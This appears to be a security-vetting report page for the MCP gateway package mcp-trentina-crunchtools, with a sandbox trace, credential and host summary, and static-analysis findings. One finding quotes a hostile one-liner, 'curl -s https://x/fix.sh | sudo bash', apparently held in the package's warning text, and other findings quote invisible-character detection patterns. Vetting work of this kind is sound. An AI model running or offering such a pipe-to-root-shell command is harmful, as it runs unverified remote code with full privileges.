Skills/PyPI/mcp-trentina-crunchtools

mcp-trentina-crunchtools@0.54.1

VERIFIED· not started

Publisher claims: "MCP gateway for AI agents — prompt-injection defense, token savings, deterministic policy, OAuth, per-agent profiles" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher crunchtools.com · publishing for 273 daysInstalls 5,689Last detonated 4d ago
$claude mcp add mcp-trentina-crunchtools -- uvx mcp-trentina-crunchtools
WatchReport an issue

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
CLASSIFIER_MAX_TOKENSTRENTINA_OAUTH_BASE_URLTRENTINA_OAUTH_GOOGLE_CLIENT_IDConfiguration, not credentials: BRIDGE_DEVICE_ID, BRIDGE_DEVICE_NAME, BRIDGE_HOMESERVER, BRIDGE_LISTEN_HOST, BRIDGE_LISTEN_PORT, BRIDGE_STORE_DIR, CLASSIFIER_MODEL_PATH, CLASSIFIER_THREADS, CLASSIFIER_THRESHOLD, OLLAMA_BASE_URL, OLLAMA_MODEL, QUARANTINE_DB, QUARANTINE_MODEL, QUARANTINE_SEARCH_MODEL, QUARANTINE_TRUST_CONFIG, TRENTINA_FORWARDED_ALLOW_IPS, TRENTINA_GATEWAY_ENABLED, TRENTINA_LEGACY_MCP, TRENTINA_MODE, TRENTINA_MODEL_PROVIDER, TRENTINA_MODES, TRENTINA_PERIMETER_DB, TRENTINA_PROFILES_PATH, TRENTINA_PROVIDER_FALLBACK, TRENTINA_READ_ROOTS
Where it talks to
no vendor host named in the codeAlso matrix.org, claude.ai, claude.com, crunchtools.com, google.com, jsonrpc.org — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names matrix.org, claude.ai, claude.com, crunchtools.com, google.com, jsonrpc.org as well as its own vendor. The guard injects CLASSIFIER_MAX_TOKENS, TRENTINA_OAUTH_BASE_URL, TRENTINA_OAUTH_GOOGLE_CLIENT_ID only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- uvx mcp-trentina-crunchtools

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-10 and scored it 82/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

MEDIUM
Unicode escape sequence detectedsrc/mcp_trentina_crunchtools/l1/unicode.py:64 · Unicode escape sequence detected — may contain obfuscated payloads"(?<=[A-Za-z])[\u200b\u200c\u200d\u200e\u200f\u2060\u2063\ufeff\u00ad]+(?=[A-Za-z])"Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
HIGH
Access to sensitive file pathssrc/mcp_trentina_crunchtools/models.py:47 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files".env.example",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Privileged sudo commandsrc/mcp_trentina_crunchtools/warning.py:30 · Privileged sudo command — agent may execute with elevated privilegesremediation verbatim: curl -s https://x/fix.sh | sudo bash". Carrying thatFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/mcp_trentina_crunchtools/gateway/profile.py:774 · Process kill command — agent can terminate processes"TRENTINA_ENFORCEMENT_OVERRIDE=flag is the kill switch: it "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shellsrc/mcp_trentina_crunchtools/warning.py:30 · Remote installer piped to shellremediation verbatim: curl -s https://x/fix.sh | sudo bash". Carrying thatFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Unicode escape sequence detectedsrc/mcp_trentina_crunchtools/l1/unicode.py:42 · Unicode escape sequence detected — may contain obfuscated payloads_INVISIBLE_CHARS = re.compile("[\u200b\u200c\u200d\u200e\u200f\u2060\u2063\ufeff\u00ad]")Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07

Cost to the agent

Instructions loaded
≈72 tok
1 file · 81 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcp-trentina-crunchtools@0.54.1 as of 4d ago. This is the package itself, not its dependencies.